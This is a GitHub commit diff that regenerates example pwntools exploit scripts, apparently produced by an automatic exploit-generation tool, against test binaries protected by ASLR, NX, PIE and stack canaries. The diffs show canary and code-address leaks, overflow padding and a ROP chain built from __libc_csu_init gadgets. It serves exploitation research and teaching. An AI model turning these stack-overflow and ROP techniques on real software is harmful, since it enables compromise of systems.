Skip to content

Commit 7ce2134

Browse files
committed
examples: regenerated exploit scripts (2022/02/06)
Signed-off-by: Marco Wang <m.aesophor@gmail.com>
1 parent 5589693 commit 7ce2134

File tree

3 files changed

+11
-13
lines changed

3 files changed

+11
-13
lines changed

examples/aslr-nx-canary/exploit_2.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,7 @@ def solve_stage1(canary, elf_base, iostates) -> bytes:
3333
proc.recv(25)
3434
canary = u64(b'\x00' + proc.recv(7))
3535
log.info('leaked canary: {}'.format(hex(canary)))
36+
proc.recvrepeat(0.1)
3637

3738
# input state (offset = 1024)
3839
# input state (rop chain begin)

examples/aslr-nx-pie-canary/exploit_9.py

Lines changed: 9 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -3,14 +3,14 @@
33
context.update(arch = 'amd64', os = 'linux', log_level = 'info')
44

55
elf = ELF('target', checksec=False)
6-
__libc_csu_init = 0x1260
6+
__libc_csu_init = 0x1270
77
__libc_csu_init_call_target = 0x4888
8-
__libc_csu_init_gadget1 = 0x12b6
9-
__libc_csu_init_gadget2 = 0x12a0
8+
__libc_csu_init_gadget1 = 0x12c6
9+
__libc_csu_init_gadget2 = 0x12b0
1010
canary = 0x0
1111
elf_base = 0x0
1212
pivot_dest = 0x4850
13-
pop_rsi_pop_r15_ret = 0x12c1
13+
pop_rsi_pop_r15_ret = 0x12d1
1414

1515
def solve_stage1(canary, elf_base, iostates) -> bytes:
1616
os.system('./launch-crax.sh -c {} -e {} -s {}'.format(hex(canary), hex(elf_base), iostates))
@@ -28,24 +28,20 @@ def solve_stage1(canary, elf_base, iostates) -> bytes:
2828

2929
# output state
3030
# leaking: canary
31-
proc.recv(25)
31+
proc.recv(32)
3232
canary = u64(b'\x00' + proc.recv(7))
3333
log.info('leaked canary: {}'.format(hex(canary)))
34-
35-
# output state
3634
proc.recvrepeat(0.1)
3735

3836
# input state (offset = 72)
3937
proc.send(b'\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41')
4038

4139
# output state
4240
# leaking: code
43-
proc.recv(72)
41+
proc.recv(99)
4442
elf_leak = u64(proc.recv(6).ljust(8, b'\x00'))
45-
elf_base = elf_leak - 0x1179
43+
elf_base = elf_leak - 0x1169
4644
log.info('leaked elf_base: {}'.format(hex(elf_base)))
47-
48-
# output state
4945
proc.recvrepeat(0.1)
5046

5147
# input state (offset = 48), skipped
@@ -54,7 +50,7 @@ def solve_stage1(canary, elf_base, iostates) -> bytes:
5450

5551
# input state (offset = 48)
5652
# input state (rop chain begin)
57-
payload = solve_stage1(canary, elf_base, 'o,i25,o25,o,i72,o72,o,i48,i48,i48')[97:193]
53+
payload = solve_stage1(canary, elf_base, 'o,i25,o32,i72,o99,i48,i48,i48')[97:193]
5854
proc.send(payload)
5955
time.sleep(0.2)
6056

@@ -188,7 +184,7 @@ def solve_stage1(canary, elf_base, iostates) -> bytes:
188184
payload += p64(0x4141414141414141)
189185
payload += p64(0x4141414141414141)
190186
payload += p64(0x4141414141414141)
191-
payload += p64(elf_base + 0x12c3)
187+
payload += p64(elf_base + 0x12d3)
192188
payload += p64(elf_base + elf.bss())
193189
payload += p64(elf_base + elf.sym['read'])
194190
proc.send(payload)

examples/aslr-nx-pie/exploit_2.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,7 @@ def solve_stage1(canary, elf_base, iostates) -> bytes:
3232
elf_leak = u64(proc.recv(6).ljust(8, b'\x00'))
3333
elf_base = elf_leak - 0x1159
3434
log.info('leaked elf_base: {}'.format(hex(elf_base)))
35+
proc.recvrepeat(0.1)
3536

3637
# input state (offset = 128)
3738
proc.send(b'\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41')

0 commit comments

Comments
 (0)